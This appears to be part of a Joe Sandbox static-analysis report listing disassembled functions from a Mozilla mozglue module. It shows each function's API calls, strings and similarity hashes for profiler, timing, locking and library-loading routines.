Function 6CDEEE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEEE60
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEE6D
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CDEEEA5
CloseHandle.KERNEL32(?), ref: 6CDEEEB4
free.MOZGLUE(00000000), ref: 6CDEEEBB
GetCurrentThreadId.KERNEL32 ref: 6CDEEEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEEECF

Part of subcall function 6CDEDE60: GetCurrentThreadId.KERNEL32 ref: 6CDEDE73
Part of subcall function 6CDEDE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CDB4A68), ref: 6CDEDE7B
Part of subcall function 6CDEDE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CDB4A68), ref: 6CDEDEB8
Part of subcall function 6CDEDE60: free.MOZGLUE(00000000,?,6CDB4A68), ref: 6CDEDEFE
Part of subcall function 6CDEDE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CDEDF38

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

GetCurrentThreadId.KERNEL32 ref: 6CDEEF1E
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEF2B
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEF59
GetCurrentThreadId.KERNEL32 ref: 6CDEEFB0
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEFBD
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEEFE1
GetCurrentThreadId.KERNEL32 ref: 6CDEEFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEF000

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CDEF02F

Part of subcall function 6CDEF070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDEF09B
Part of subcall function 6CDEF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CDEF0AC
Part of subcall function 6CDEF070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CDEF0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CDEF008
[I %d/%d] profiler_stop, xrefs: 6CDEEED7

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 8ea7f8dc7a8e8181f42d82b030312ec934060d73a7e766b72e26ecab63b707d2
Instruction ID: 09ddea003ea4d5594333271016e0af9681de67c334e363722fc2f7a2dfe32e7a
Opcode Fuzzy Hash: 8ea7f8dc7a8e8181f42d82b030312ec934060d73a7e766b72e26ecab63b707d2
Instruction Fuzzy Hash: CF512931E00264DFDB005B64D809BA577B8EB4A72CF240619ED1683FA0DBBD9804CBF6

Function 6CDB5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5E9D

Part of subcall function 6CDC5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B85
Part of subcall function 6CDC5B50: EnterCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5B90
Part of subcall function 6CDC5B50: LeaveCriticalSection.KERNEL32(6CE2F688,?,?,?,6CDC56EE,?,00000001), ref: 6CDC5BD8
Part of subcall function 6CDC5B50: GetTickCount64.KERNEL32 ref: 6CDC5BE4

GetCurrentThreadId.KERNEL32 ref: 6CDB5EAB
GetCurrentThreadId.KERNEL32 ref: 6CDB5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CDB5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CDB6017

Part of subcall function 6CDA4310: moz_xmalloc.MOZGLUE(00000010,?,6CDA42D2), ref: 6CDA436A
Part of subcall function 6CDA4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CDA42D2), ref: 6CDA4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CDB5F47
GetCurrentProcess.KERNEL32 ref: 6CDB5F53
GetCurrentThread.KERNEL32 ref: 6CDB5F5C
GetCurrentProcess.KERNEL32 ref: 6CDB5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CDB5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CDB5F27

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB5E8C

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CDB55E1), ref: 6CDB60CC

Strings

GeckoMain, xrefs: 6CDB5ECE, 6CDB6015

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 0a3f12ff819f8462887c208147ac9c52fcdfa546684f05b263d626f56056416b
Instruction ID: 5b9b9fd83ce04f21b670467a3c7b3badd8827cc30be69a27076ad8c9c917b54d
Opcode Fuzzy Hash: 0a3f12ff819f8462887c208147ac9c52fcdfa546684f05b263d626f56056416b
Instruction Fuzzy Hash: 2B71C2B0A04780DFD704DF25C480A6ABBF0FF5A304F54496DE48697B62EB74E949CB62

Function 6CDB9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDA31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CDA3217
Part of subcall function 6CDA31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CDA3236
Part of subcall function 6CDA31C0: FreeLibrary.KERNEL32 ref: 6CDA324B
Part of subcall function 6CDA31C0: __Init_thread_footer.LIBCMT ref: 6CDA3260
Part of subcall function 6CDA31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CDA327F
Part of subcall function 6CDA31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDA328E
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDA32AB
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CDA32D1
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CDA32E5
Part of subcall function 6CDA31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CDA32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CDB9675
__Init_thread_footer.LIBCMT ref: 6CDB9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CDB96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CDB9707
__Init_thread_footer.LIBCMT ref: 6CDB971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CDB97B7
FreeLibrary.KERNEL32 ref: 6CDB97D0
FreeLibrary.KERNEL32 ref: 6CDB97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CDB9824

Strings

NtMapViewOfSection, xrefs: 6CDB9701
ntdll.dll, xrefs: 6CDB96E3
MapViewOfFileNuma2, xrefs: 6CDB97B1
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CDB9670

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: feb19e67f380bd716adf4d038eef2dab1f4c55a08bf8d09c782989581b8fdde1
Instruction ID: 639e06cabe3d5deb7ce05a86debd93f8baea1e661092055a55fcea97065549bc
Opcode Fuzzy Hash: feb19e67f380bd716adf4d038eef2dab1f4c55a08bf8d09c782989581b8fdde1
Instruction Fuzzy Hash: 0B6103B1A00355DBDF00DFA4D884F9A7BB1EB4A314F154129E996A37A0D73CA844CBA1

Function 6CDB7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CDB8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CDB801D

Part of subcall function 6CDBCA10: malloc.MOZGLUE(?), ref: 6CDBCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CDB802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CDB803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CDB808D

Part of subcall function 6CDBCA10: mozalloc_abort.MOZGLUE(?), ref: 6CDBCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CDB809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CDB80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CDB80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CDB8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CDB8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CDB8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CDB817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CDB8199

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: 141ef4c2f513e6a481e92cf6489c7e4b0c629aaf908df575a84d47e990dff70f
Instruction ID: c552a03ac922e7b3cbd041eef70b210400aef8fb41244cc0b22b7dc573ec5185
Opcode Fuzzy Hash: 141ef4c2f513e6a481e92cf6489c7e4b0c629aaf908df575a84d47e990dff70f
Instruction Fuzzy Hash: 7E51A3F2E002159BDB00DFA9DC84AEFB7B9AF49264F240125E816F7751E731E905CBA1

Function 6CE06660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CE2F618), ref: 6CE06694
GetThreadId.KERNEL32(?), ref: 6CE066B1
GetCurrentThreadId.KERNEL32 ref: 6CE066B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CE066E1
EnterCriticalSection.KERNEL32(6CE2F618), ref: 6CE06734
GetCurrentProcess.KERNEL32 ref: 6CE0673A
LeaveCriticalSection.KERNEL32(6CE2F618), ref: 6CE0676C
GetCurrentThread.KERNEL32 ref: 6CE067FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CE06868
RtlCaptureContext.NTDLL(?), ref: 6CE0687F

Strings

WalkStack64, xrefs: 6CE06890

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: 061f3ec6ab6e0d7e497afa40cb96b3b3e9964b98a2dc4450fc844e00467ac7eb
Instruction ID: 83735fb60f1db9059b648c13c2144cf677a43bdfcea03c123b4dde21a35428e9
Opcode Fuzzy Hash: 061f3ec6ab6e0d7e497afa40cb96b3b3e9964b98a2dc4450fc844e00467ac7eb
Instruction Fuzzy Hash: C851AA71A09300AFD711CF24C844B5ABBF8FF89718F14492DF99997740D778A958CB92

Function 6CDEDE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEDE73
GetCurrentThreadId.KERNEL32 ref: 6CDEDF7D
AcquireSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEDF8A
ReleaseSRWLockExclusive.KERNEL32(6CE2F4B8), ref: 6CDEDFC9
GetCurrentThreadId.KERNEL32 ref: 6CDEDFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CDEE000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CDB4A68), ref: 6CDEDE7B

Part of subcall function 6CDE94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CDE94EE
Part of subcall function 6CDE94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CDE9508

Part of subcall function 6CDDCBE8: GetCurrentProcess.KERNEL32(?,6CDA31A7), ref: 6CDDCBF1
Part of subcall function 6CDDCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CDA31A7), ref: 6CDDCBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CDB4A68), ref: 6CDEDEB8
free.MOZGLUE(00000000,?,6CDB4A68), ref: 6CDEDEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CDEDF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6CDEE00E
[I %d/%d] locked_profiler_stop, xrefs: 6CDEDE83
<none>, xrefs: 6CDEDFD7

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 612391cc90cd247bff4b029dba500a8c1c12e99b545575fac17333d2d2c7f7ac
Instruction ID: 71fd5f93c350be624807866afe085e8268e2dc20e47c7972da44f55027cb8de5
Opcode Fuzzy Hash: 612391cc90cd247bff4b029dba500a8c1c12e99b545575fac17333d2d2c7f7ac
Instruction Fuzzy Hash: ED41F171B01260DBDB109F64DC08BAA77B5EB8A71CF140119E90A9BB11CF7DA905CBF6

Function 6CDFD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CDFD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD52A
GetCurrentThreadId.KERNEL32 ref: 6CDFD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD55F
free.MOZGLUE(00000000), ref: 6CDFD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CDFD5D3
GetCurrentThreadId.KERNEL32 ref: 6CDFD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD652
GetCurrentThreadId.KERNEL32 ref: 6CDFD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CDFD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CDFD6A2

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 73147644bbcaa175e69d2ae114ec51fd3e256058c3d0e716d40e9b4a329d2b03
Instruction ID: 0355c550102fd76cd78b4a297bd9c87135b7ba1bc97ca4816ac110fa142885a2
Opcode Fuzzy Hash: 73147644bbcaa175e69d2ae114ec51fd3e256058c3d0e716d40e9b4a329d2b03
Instruction Fuzzy Hash: B5515D71A04709EFC704DF34C484A9ABBB5FF89318F11862EE85A87761DB34A945CB91

Function 6CDA1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1EC1
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1EE1
EnterCriticalSection.KERNEL32(6CE2E744), ref: 6CDA1F38
LeaveCriticalSection.KERNEL32(6CE2E744), ref: 6CDA1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CDA1F83
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1FC0
EnterCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1FE2
LeaveCriticalSection.KERNEL32(6CE2E784), ref: 6CDA1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CDA2019

Strings

MOZ_CRASH(), xrefs: 6CDA2000
Dl, xrefs: 6CDA1F56
Dl, xrefs: 6CDA1F32
\l, xrefs: 6CDA1F3E

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dl$Dl$MOZ_CRASH()$\l
API String ID: 2055633661-1362724272
Opcode ID: 8140d77858699dfc1a715e8311abe9fef9a6701848a65d16a871b9911428bac5
Instruction ID: 6b05bc47b16c96a9a62c6678e819e384408501488d800bb7d46177935acfcdd7
Opcode Fuzzy Hash: 8140d77858699dfc1a715e8311abe9fef9a6701848a65d16a871b9911428bac5
Instruction Fuzzy Hash: 0041F372F00729CBDF008FB8C885BAA37B5FB49349F110035E94597750DBB898058BD1

Function 6CDC5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6CDC56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CDC56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6CDC56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6CDC5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6CDC57BC
GetTickCount64.KERNEL32 ref: 6CDC58CB
EnterCriticalSection.KERNEL32(6CE2F688), ref: 6CDC58F3
__aulldiv.LIBCMT ref: 6CDC5945
LeaveCriticalSection.KERNEL32(6CE2F688), ref: 6CDC59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6CE2F638,?,?,?,?), ref: 6CDC59E9

Strings

MOZ_APP_RESTART, xrefs: 6CDC56CC

Memory Dump Source

Source File: 00000000.00000002.1471843414.000000006CDA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CDA0000, based on PE: true

Associated: 00000000.00000002.1471815069.000000006CDA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472235456.000000006CE1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472448493.000000006CE2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1472520218.000000006CE32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cda0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 38c51bb81442b5b08b22878b59d0061005e7be448e25827101818953856a3a8d
Instruction ID: 3f6803ed6f9127c444f6c385e373c343c3ed9aaabeb6600d25b5594307b56808
Opcode Fuzzy Hash: 38c51bb81442b5b08b22878b59d0061005e7be448e25827101818953856a3a8d
Instruction Fuzzy Hash: EDC1AD31A08750DFCB05CF28C440A6ABBF5FFDA714F158A1DE8C597660E738A885DB82

Function 6CDEEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CDB4A68), ref: 6CDE945E
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CDE9470
Part of subcall function 6CDE9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CDE9482
Part of subcall function 6CDE9420: __Init_thread_footer.LIBCMT ref: 6CDE949F

GetCurrentThreadId.KERNEL32 ref: 6CDEEC84
